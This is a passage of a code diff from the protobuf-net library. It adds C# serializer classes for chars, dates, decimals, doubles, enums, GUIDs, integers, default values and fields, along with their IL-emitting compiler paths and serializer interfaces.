readonly Type expectedType;
#else
static readonly Type expectedType = typeof(char);
#endif
public CharSerializer(ProtoBuf.Meta.TypeModel model) : base(model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(char));
#endif
}
public override Type ExpectedType { get { return expectedType; } }
#if !FEAT_IKVM
public override void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteUInt16((ushort)(char)value, dest);
}
public override object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return (char)source.ReadUInt16();
}
#endif
// no need for any special IL here; ushort and char are
// interchangeable as long as there is no boxing/unboxing
}
}
#endif

View File

@ -0,0 +1,78 @@
#if FEAT_COMPILER && !(FX11 || FEAT_IKVM)
using System;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers
{
sealed class CompiledSerializer : IProtoTypeSerializer
{
bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType)
{
return head.HasCallbacks(callbackType); // these routes only used when bits of the model not compiled
}
bool IProtoTypeSerializer.CanCreateInstance()
{
return head.CanCreateInstance();
}
object IProtoTypeSerializer.CreateInstance(ProtoReader source)
{
return head.CreateInstance(source);
}
public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context)
{
head.Callback(value, callbackType, context); // these routes only used when bits of the model not compiled
}
public static CompiledSerializer Wrap(IProtoTypeSerializer head, TypeModel model)
{
CompiledSerializer result = head as CompiledSerializer;
if (result == null)
{
result = new CompiledSerializer(head, model);
Helpers.DebugAssert(((IProtoTypeSerializer)result).ExpectedType == head.ExpectedType);
}
return result;
}
private readonly IProtoTypeSerializer head;
private readonly Compiler.ProtoSerializer serializer;
private readonly Compiler.ProtoDeserializer deserializer;
private CompiledSerializer(IProtoTypeSerializer head, TypeModel model)
{
this.head = head;
serializer = Compiler.CompilerContext.BuildSerializer(head, model);
deserializer = Compiler.CompilerContext.BuildDeserializer(head, model);
}
bool IProtoSerializer.RequiresOldValue { get { return head.RequiresOldValue; } }
bool IProtoSerializer.ReturnsValue { get { return head.ReturnsValue; } }
Type IProtoSerializer.ExpectedType { get { return head.ExpectedType; } }
void IProtoSerializer.Write(object value, ProtoWriter dest)
{
serializer(value, dest);
}
object IProtoSerializer.Read(object value, ProtoReader source)
{
return deserializer(value, source);
}
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
head.EmitWrite(ctx, valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
head.EmitRead(ctx, valueFrom);
}
void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType)
{
head.EmitCallback(ctx, valueFrom, callbackType);
}
void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx)
{
head.EmitCreateInstance(ctx);
}
}
}
#endif

View File

@ -0,0 +1,55 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class DateTimeSerializer : IProtoSerializer
{
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(DateTime);
#endif
public Type ExpectedType { get { return expectedType; } }
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
public DateTimeSerializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(DateTime));
#endif
}
#if !FEAT_IKVM
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return BclHelpers.ReadDateTime(source);
}
public void Write(object value, ProtoWriter dest)
{
BclHelpers.WriteDateTime((DateTime)value, dest);
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDateTime", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDateTime", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,57 @@
#if !NO_RUNTIME
using System;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class DecimalSerializer : IProtoSerializer
{
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(decimal);
#endif
public DecimalSerializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(decimal));
#endif
}
public Type ExpectedType { get { return expectedType; } }
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if !FEAT_IKVM
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return BclHelpers.ReadDecimal(source);
}
public void Write(object value, ProtoWriter dest)
{
BclHelpers.WriteDecimal((decimal)value, dest);
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDecimal", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDecimal", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,265 @@
#if !NO_RUNTIME
using System;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class DefaultValueDecorator : ProtoDecoratorBase
{
public override Type ExpectedType { get { return Tail.ExpectedType; } }
public override bool RequiresOldValue { get { return Tail.RequiresOldValue; } }
public override bool ReturnsValue { get { return Tail.ReturnsValue; } }
private readonly object defaultValue;
public DefaultValueDecorator(TypeModel model, object defaultValue, IProtoSerializer tail) : base(tail)
{
if (defaultValue == null) throw new ArgumentNullException("defaultValue");
Type type = model.MapType(defaultValue.GetType());
if (type != tail.ExpectedType
#if FEAT_IKVM // in IKVM, we'll have the default value as an underlying type
&& !(tail.ExpectedType.IsEnum && type == tail.ExpectedType.GetEnumUnderlyingType())
#endif
)
{
throw new ArgumentException("Default value is of incorrect type", "defaultValue");
}
this.defaultValue = defaultValue;
}
#if !FEAT_IKVM
public override void Write(object value, ProtoWriter dest)
{
if (!object.Equals(value, defaultValue))
{
Tail.Write(value, dest);
}
}
public override object Read(object value, ProtoReader source)
{
return Tail.Read(value, source);
}
#endif
#if FEAT_COMPILER
protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
Compiler.CodeLabel done = ctx.DefineLabel();
if (valueFrom == null)
{
ctx.CopyValue(); // on the stack
Compiler.CodeLabel needToPop = ctx.DefineLabel();
EmitBranchIfDefaultValue(ctx, needToPop);
Tail.EmitWrite(ctx, null);
ctx.Branch(done, true);
ctx.MarkLabel(needToPop);
ctx.DiscardValue();
}
else
{
ctx.LoadValue(valueFrom); // variable/parameter
EmitBranchIfDefaultValue(ctx, done);
Tail.EmitWrite(ctx, valueFrom);
}
ctx.MarkLabel(done);
}
private void EmitBeq(Compiler.CompilerContext ctx, Compiler.CodeLabel label, Type type)
{
switch (Helpers.GetTypeCode(type))
{
case ProtoTypeCode.Boolean:
case ProtoTypeCode.Byte:
case ProtoTypeCode.Char:
case ProtoTypeCode.Double:
case ProtoTypeCode.Int16:
case ProtoTypeCode.Int32:
case ProtoTypeCode.Int64:
case ProtoTypeCode.SByte:
case ProtoTypeCode.Single:
case ProtoTypeCode.UInt16:
case ProtoTypeCode.UInt32:
case ProtoTypeCode.UInt64:
ctx.BranchIfEqual(label, false);
break;
default:
MethodInfo method = type.GetMethod("op_Equality", BindingFlags.Public | BindingFlags.Static,
null, new Type[] { type, type}, null);
if (method == null || method.ReturnType != ctx.MapType(typeof(bool)))
{
throw new InvalidOperationException("No suitable equality operator found for default-values of type: " + type.FullName);
}
ctx.EmitCall(method);
ctx.BranchIfTrue(label, false);
break;
}
}
private void EmitBranchIfDefaultValue(Compiler.CompilerContext ctx, Compiler.CodeLabel label)
{
switch (Helpers.GetTypeCode(ExpectedType))
{
case ProtoTypeCode.Boolean:
if ((bool)defaultValue)
{
ctx.BranchIfTrue(label, false);
}
else
{
ctx.BranchIfFalse(label, false);
}
break;
case ProtoTypeCode.Byte:
if ((byte)defaultValue == (byte)0)
{
ctx.BranchIfFalse(label, false);
}
else
{
ctx.LoadValue((int)(byte)defaultValue);
EmitBeq(ctx, label, ExpectedType);
}
break;
case ProtoTypeCode.SByte:
if ((sbyte)defaultValue == (sbyte)0)
{
ctx.BranchIfFalse(label, false);
}
else
{
ctx.LoadValue((int)(sbyte)defaultValue);
EmitBeq(ctx, label, ExpectedType);
}
break;
case ProtoTypeCode.Int16:
if ((short)defaultValue == (short)0)
{
ctx.BranchIfFalse(label, false);
}
else
{
ctx.LoadValue((int)(short)defaultValue);
EmitBeq(ctx, label, ExpectedType);
}
break;
case ProtoTypeCode.UInt16:
if ((ushort)defaultValue == (ushort)0)
{
ctx.BranchIfFalse(label, false);
}
else
{
ctx.LoadValue((int)(ushort)defaultValue);
EmitBeq(ctx, label, ExpectedType);
}
break;
case ProtoTypeCode.Int32:
if ((int)defaultValue == (int)0)
{
ctx.BranchIfFalse(label, false);
}
else
{
ctx.LoadValue((int)defaultValue);
EmitBeq(ctx, label, ExpectedType);
}
break;
case ProtoTypeCode.UInt32:
if ((uint)defaultValue == (uint)0)
{
ctx.BranchIfFalse(label, false);
}
else
{
ctx.LoadValue((int)(uint)defaultValue);
EmitBeq(ctx, label, ExpectedType);
}
break;
case ProtoTypeCode.Char:
if ((char)defaultValue == (char)0)
{
ctx.BranchIfFalse(label, false);
}
else
{
ctx.LoadValue((int)(char)defaultValue);
EmitBeq(ctx, label, ExpectedType);
}
break;
case ProtoTypeCode.Int64:
ctx.LoadValue((long)defaultValue);
EmitBeq(ctx, label, ExpectedType);
break;
case ProtoTypeCode.UInt64:
ctx.LoadValue((long)(ulong)defaultValue);
EmitBeq(ctx, label, ExpectedType);
break;
case ProtoTypeCode.Double:
ctx.LoadValue((double)defaultValue);
EmitBeq(ctx, label, ExpectedType);
break;
case ProtoTypeCode.Single:
ctx.LoadValue((float)defaultValue);
EmitBeq(ctx, label, ExpectedType);
break;
case ProtoTypeCode.String:
ctx.LoadValue((string)defaultValue);
EmitBeq(ctx, label, ExpectedType);
break;
case ProtoTypeCode.Decimal:
{
decimal d = (decimal)defaultValue;
ctx.LoadValue(d);
EmitBeq(ctx, label, ExpectedType);
}
break;
case ProtoTypeCode.TimeSpan:
{
TimeSpan ts = (TimeSpan)defaultValue;
if (ts == TimeSpan.Zero)
{
ctx.LoadValue(typeof(TimeSpan).GetField("Zero"));
}
else
{
ctx.LoadValue(ts.Ticks);
ctx.EmitCall(ctx.MapType(typeof(TimeSpan)).GetMethod("FromTicks"));
}
EmitBeq(ctx, label, ExpectedType);
break;
}
case ProtoTypeCode.Guid:
{
ctx.LoadValue((Guid)defaultValue);
EmitBeq(ctx, label, ExpectedType);
break;
}
case ProtoTypeCode.DateTime:
{
#if FX11
ctx.LoadValue(((DateTime)defaultValue).ToFileTime());
ctx.EmitCall(typeof(DateTime).GetMethod("FromFileTime"));
#else
ctx.LoadValue(((DateTime)defaultValue).ToBinary());
ctx.EmitCall(ctx.MapType(typeof(DateTime)).GetMethod("FromBinary"));
#endif
EmitBeq(ctx, label, ExpectedType);
break;
}
default:
throw new NotSupportedException("Type cannot be represented as a default value: " + ExpectedType.FullName);
}
}
protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
Tail.EmitRead(ctx, valueFrom);
}
#endif
}
}
#endif

View File

@ -0,0 +1,54 @@
#if !NO_RUNTIME
using System;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class DoubleSerializer : IProtoSerializer
{
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(double);
#endif
public DoubleSerializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(double));
#endif
}
public Type ExpectedType { get { return expectedType; } }
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if !FEAT_IKVM
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return source.ReadDouble();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteDouble((double)value, dest);
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicWrite("WriteDouble", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead("ReadDouble", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,270 @@
#if !NO_RUNTIME
using System;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class EnumSerializer : IProtoSerializer
{
public struct EnumPair
{
public readonly object RawValue; // note that this is boxing, but I'll live with it
#if !FEAT_IKVM
public readonly Enum TypedValue; // note that this is boxing, but I'll live with it
#endif
public readonly int WireValue;
public EnumPair(int wireValue, object raw, Type type)
{
WireValue = wireValue;
RawValue = raw;
#if !FEAT_IKVM
TypedValue = (Enum)Enum.ToObject(type, raw);
#endif
}
}
private readonly Type enumType;
private readonly EnumPair[] map;
public EnumSerializer(Type enumType, EnumPair[] map)
{
if (enumType == null) throw new ArgumentNullException("enumType");
this.enumType = enumType;
this.map = map;
if (map != null)
{
for (int i = 1; i < map.Length; i++)
for (int j = 0 ; j < i ; j++)
{
if (map[i].WireValue == map[j].WireValue && !Equals(map[i].RawValue, map[j].RawValue))
{
throw new ProtoException("Multiple enums with wire-value " + map[i].WireValue);
}
if (Equals(map[i].RawValue, map[j].RawValue) && map[i].WireValue != map[j].WireValue)
{
throw new ProtoException("Multiple enums with deserialized-value " + map[i].RawValue);
}
}
}
}
private ProtoTypeCode GetTypeCode() {
Type type = Helpers.GetUnderlyingType(enumType);
if(type == null) type = enumType;
return Helpers.GetTypeCode(type);
}
public Type ExpectedType { get { return enumType; } }
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if !FEAT_IKVM
private int EnumToWire(object value)
{
unchecked
{
switch (GetTypeCode())
{ // unbox then convert to int
case ProtoTypeCode.Byte: return (int)(byte)value;
case ProtoTypeCode.SByte: return (int)(sbyte)value;
case ProtoTypeCode.Int16: return (int)(short)value;
case ProtoTypeCode.Int32: return (int)value;
case ProtoTypeCode.Int64: return (int)(long)value;
case ProtoTypeCode.UInt16: return (int)(ushort)value;
case ProtoTypeCode.UInt32: return (int)(uint)value;
case ProtoTypeCode.UInt64: return (int)(ulong)value;
default: throw new InvalidOperationException();
}
}
}
private object WireToEnum(int value)
{
unchecked
{
switch (GetTypeCode())
{ // convert from int then box
case ProtoTypeCode.Byte: return Enum.ToObject(enumType, (byte)value);
case ProtoTypeCode.SByte: return Enum.ToObject(enumType, (sbyte)value);
case ProtoTypeCode.Int16: return Enum.ToObject(enumType, (short)value);
case ProtoTypeCode.Int32: return Enum.ToObject(enumType, value);
case ProtoTypeCode.Int64: return Enum.ToObject(enumType, (long)value);
case ProtoTypeCode.UInt16: return Enum.ToObject(enumType, (ushort)value);
case ProtoTypeCode.UInt32: return Enum.ToObject(enumType, (uint)value);
case ProtoTypeCode.UInt64: return Enum.ToObject(enumType, (ulong)value);
default: throw new InvalidOperationException();
}
}
}
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
int wireValue = source.ReadInt32();
if(map == null) {
return WireToEnum(wireValue);
}
for(int i = 0 ; i < map.Length ; i++) {
if(map[i].WireValue == wireValue) {
return map[i].TypedValue;
}
}
source.ThrowEnumException(ExpectedType, wireValue);
return null; // to make compiler happy
}
public void Write(object value, ProtoWriter dest)
{
if (map == null)
{
ProtoWriter.WriteInt32(EnumToWire(value), dest);
}
else
{
for (int i = 0; i < map.Length; i++)
{
if (object.Equals(map[i].TypedValue, value))
{
ProtoWriter.WriteInt32(map[i].WireValue, dest);
return;
}
}
ProtoWriter.ThrowEnumException(dest, value);
}
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ProtoTypeCode typeCode = GetTypeCode();
if (map == null)
{
ctx.LoadValue(valueFrom);
ctx.ConvertToInt32(typeCode, false);
ctx.EmitBasicWrite("WriteInt32", null);
}
else
{
using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom))
{
Compiler.CodeLabel @continue = ctx.DefineLabel();
for (int i = 0; i < map.Length; i++)
{
Compiler.CodeLabel tryNextValue = ctx.DefineLabel(), processThisValue = ctx.DefineLabel();
ctx.LoadValue(loc);
WriteEnumValue(ctx, typeCode, map[i].RawValue);
ctx.BranchIfEqual(processThisValue, true);
ctx.Branch(tryNextValue, true);
ctx.MarkLabel(processThisValue);
ctx.LoadValue(map[i].WireValue);
ctx.EmitBasicWrite("WriteInt32", null);
ctx.Branch(@continue, false);
ctx.MarkLabel(tryNextValue);
}
ctx.LoadReaderWriter();
ctx.LoadValue(loc);
ctx.CastToObject(ExpectedType);
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("ThrowEnumException"));
ctx.MarkLabel(@continue);
}
}
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ProtoTypeCode typeCode = GetTypeCode();
if (map == null)
{
ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int)));
ctx.ConvertFromInt32(typeCode, false);
}
else
{
int[] wireValues = new int[map.Length];
object[] values = new object[map.Length];
for (int i = 0; i < map.Length; i++)
{
wireValues[i] = map[i].WireValue;
values[i] = map[i].RawValue;
}
using (Compiler.Local result = new Compiler.Local(ctx, ExpectedType))
using (Compiler.Local wireValue = new Compiler.Local(ctx, ctx.MapType(typeof(int))))
{
ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int)));
ctx.StoreValue(wireValue);
Compiler.CodeLabel @continue = ctx.DefineLabel();
foreach (BasicList.Group group in BasicList.GetContiguousGroups(wireValues, values))
{
Compiler.CodeLabel tryNextGroup = ctx.DefineLabel();
int groupItemCount = group.Items.Count;
if (groupItemCount == 1)
{
// discreet group; use an equality test
ctx.LoadValue(wireValue);
ctx.LoadValue(group.First);
Compiler.CodeLabel processThisValue = ctx.DefineLabel();
ctx.BranchIfEqual(processThisValue, true);
ctx.Branch(tryNextGroup, false);
WriteEnumValue(ctx, typeCode, processThisValue, @continue, group.Items[0], @result);
}
else
{
// implement as a jump-table-based switch
ctx.LoadValue(wireValue);
ctx.LoadValue(group.First);
ctx.Subtract(); // jump-tables are zero-based
Compiler.CodeLabel[] jmp = new Compiler.CodeLabel[groupItemCount];
for (int i = 0; i < groupItemCount; i++) {
jmp[i] = ctx.DefineLabel();
}
ctx.Switch(jmp);
// write the default...
ctx.Branch(tryNextGroup, false);
for (int i = 0; i < groupItemCount; i++)
{
WriteEnumValue(ctx, typeCode, jmp[i], @continue, group.Items[i], @result);
}
}
ctx.MarkLabel(tryNextGroup);
}
// throw source.CreateEnumException(ExpectedType, wireValue);
ctx.LoadReaderWriter();
ctx.LoadValue(ExpectedType);
ctx.LoadValue(wireValue);
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("ThrowEnumException"));
ctx.MarkLabel(@continue);
ctx.LoadValue(result);
}
}
}
private static void WriteEnumValue(Compiler.CompilerContext ctx, ProtoTypeCode typeCode, object value)
{
switch (typeCode)
{
case ProtoTypeCode.Byte: ctx.LoadValue((int)(byte)value); break;
case ProtoTypeCode.SByte: ctx.LoadValue((int)(sbyte)value); break;
case ProtoTypeCode.Int16: ctx.LoadValue((int)(short)value); break;
case ProtoTypeCode.Int32: ctx.LoadValue((int)(int)value); break;
case ProtoTypeCode.Int64: ctx.LoadValue((long)(long)value); break;
case ProtoTypeCode.UInt16: ctx.LoadValue((int)(ushort)value); break;
case ProtoTypeCode.UInt32: ctx.LoadValue((int)(uint)value); break;
case ProtoTypeCode.UInt64: ctx.LoadValue((long)(ulong)value); break;
default: throw new InvalidOperationException();
}
}
private static void WriteEnumValue(Compiler.CompilerContext ctx, ProtoTypeCode typeCode, Compiler.CodeLabel handler, Compiler.CodeLabel @continue, object value, Compiler.Local local)
{
ctx.MarkLabel(handler);
WriteEnumValue(ctx, typeCode, value);
ctx.StoreValue(local);
ctx.Branch(@continue, false); // "continue"
}
#endif
}
}
#endif

View File

@ -0,0 +1,101 @@
#if !NO_RUNTIME
using System;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class FieldDecorator : ProtoDecoratorBase
{
public override Type ExpectedType { get { return forType; } }
private readonly FieldInfo field;
private readonly Type forType;
public override bool RequiresOldValue { get { return true; } }
public override bool ReturnsValue { get { return false; } }
public FieldDecorator(Type forType, FieldInfo field, IProtoSerializer tail) : base(tail)
{
Helpers.DebugAssert(forType != null);
Helpers.DebugAssert(field != null);
this.forType = forType;
this.field = field;
}
#if !FEAT_IKVM
public override void Write(object value, ProtoWriter dest)
{
Helpers.DebugAssert(value != null);
value = field.GetValue(value);
if(value != null) Tail.Write(value, dest);
}
public override object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value != null);
object newValue = Tail.Read((Tail.RequiresOldValue ? field.GetValue(value) : null), source);
if(newValue != null) field.SetValue(value,newValue);
return null;
}
#endif
#if FEAT_COMPILER
protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.LoadAddress(valueFrom, ExpectedType);
ctx.LoadValue(field);
ctx.WriteNullCheckedTail(field.FieldType, Tail, null);
}
protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom))
{
ctx.LoadAddress(loc, ExpectedType);
if (Tail.RequiresOldValue)
{
ctx.CopyValue();
ctx.LoadValue(field);
}
// value is either now on the stack or not needed
ctx.ReadNullCheckedTail(field.FieldType, Tail, null);
if (Tail.ReturnsValue)
{
if (field.FieldType.IsValueType)
{
// stack is now the return value
ctx.StoreValue(field);
}
else
{
Compiler.CodeLabel hasValue = ctx.DefineLabel(), allDone = ctx.DefineLabel();
ctx.CopyValue();
ctx.BranchIfTrue(hasValue, true); // interpret null as "don't assign"
// no value, discard
ctx.DiscardValue();
ctx.DiscardValue();
ctx.Branch(allDone, true);
ctx.MarkLabel(hasValue);
ctx.StoreValue(field);
ctx.MarkLabel(allDone);
}
}
else
{
ctx.DiscardValue();
}
}
}
#endif
}
}
#endif

View File

@ -0,0 +1,55 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
#endif
namespace ProtoBuf.Serializers
{
sealed class GuidSerializer : IProtoSerializer
{
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(Guid);
#endif
public GuidSerializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(Guid));
#endif
}
public Type ExpectedType { get { return expectedType; } }
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if !FEAT_IKVM
public void Write(object value, ProtoWriter dest)
{
BclHelpers.WriteGuid((Guid)value, dest);
}
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return BclHelpers.ReadGuid(source);
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteGuid", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadGuid", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,71 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
#endif
namespace ProtoBuf.Serializers
{
interface IProtoSerializer
{
/// <summary>
/// The type that this serializer is intended to work for.
/// </summary>
Type ExpectedType { get; }
#if !FEAT_IKVM
/// <summary>
/// Perform the steps necessary to serialize this data.
/// </summary>
/// <param name="value">The value to be serialized.</param>
/// <param name="dest">The writer entity that is accumulating the output data.</param>
void Write(object value, ProtoWriter dest);
/// <summary>
/// Perform the steps necessary to deserialize this data.
/// </summary>
/// <param name="value">The current value, if appropriate.</param>
/// <param name="source">The reader providing the input data.</param>
/// <returns>The updated / replacement value.</returns>
object Read(object value, ProtoReader source);
#endif
/// <summary>
/// Indicates whether a Read operation <em>replaces</em> the existing value, or
/// <em>extends</em> the value. If false, the "value" parameter to Read is
/// discarded, and should be passed in as null.
/// </summary>
bool RequiresOldValue { get; }
/// <summary>
/// Now all Read operations return a value (although most do); if false no
/// value should be expected.
/// </summary>
bool ReturnsValue { get; }
#if FEAT_COMPILER
/// <summary>Emit the IL necessary to perform the given actions
/// to serialize this data.
/// </summary>
/// <param name="ctx">Details and utilities for the method being generated.</param>
/// <param name="valueFrom">The source of the data to work against;
/// If the value is only needed once, then LoadValue is sufficient. If
/// the value is needed multiple times, then note that a "null"
/// means "the top of the stack", in which case you should create your
/// own copy - GetLocalWithValue.</param>
void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom);
/// <summary>
/// Emit the IL necessary to perform the given actions to deserialize this data.
/// </summary>
/// <param name="ctx">Details and utilities for the method being generated.</param>
/// <param name="entity">For nested values, the instance holding the values; note
/// that this is not always provided - a null means not supplied. Since this is always
/// a variable or argument, it is not necessary to consume this value.</param>
void EmitRead(Compiler.CompilerContext ctx, Compiler.Local entity);
#endif
}
}
#endif

View File

@ -0,0 +1,21 @@
#if !NO_RUNTIME
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers
{
interface IProtoTypeSerializer : IProtoSerializer
{
bool HasCallbacks(TypeModel.CallbackType callbackType);
bool CanCreateInstance();
#if !FEAT_IKVM
object CreateInstance(ProtoReader source);
void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context);
#endif
#if FEAT_COMPILER
void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType);
#endif
#if FEAT_COMPILER
void EmitCreateInstance(Compiler.CompilerContext ctx);
#endif
}
}
#endif

View File

@ -0,0 +1,10 @@
#if !NO_RUNTIME
namespace ProtoBuf.Serializers
{
interface ISerializerProxy
{
IProtoSerializer Serializer { get; }
}
}
#endif

View File

@ -0,0 +1,54 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class Int16Serializer : IProtoSerializer
{
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(short);
#endif
public Int16Serializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(short));
#endif
}
public Type ExpectedType { get { return expectedType; } }
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if !FEAT_IKVM
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return source.ReadInt16();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteInt16((short)value, dest);
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicWrite("WriteInt16", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead("ReadInt16", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,54 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class Int32Serializer : IProtoSerializer
{
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(int);
#endif
public Int32Serializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(int));
#endif
}
public Type ExpectedType { get { return expectedType; } }
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if !FEAT_IKVM
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return source.ReadInt32();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteInt32((int)value, dest);
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicWrite("WriteInt32", valueFrom);
}
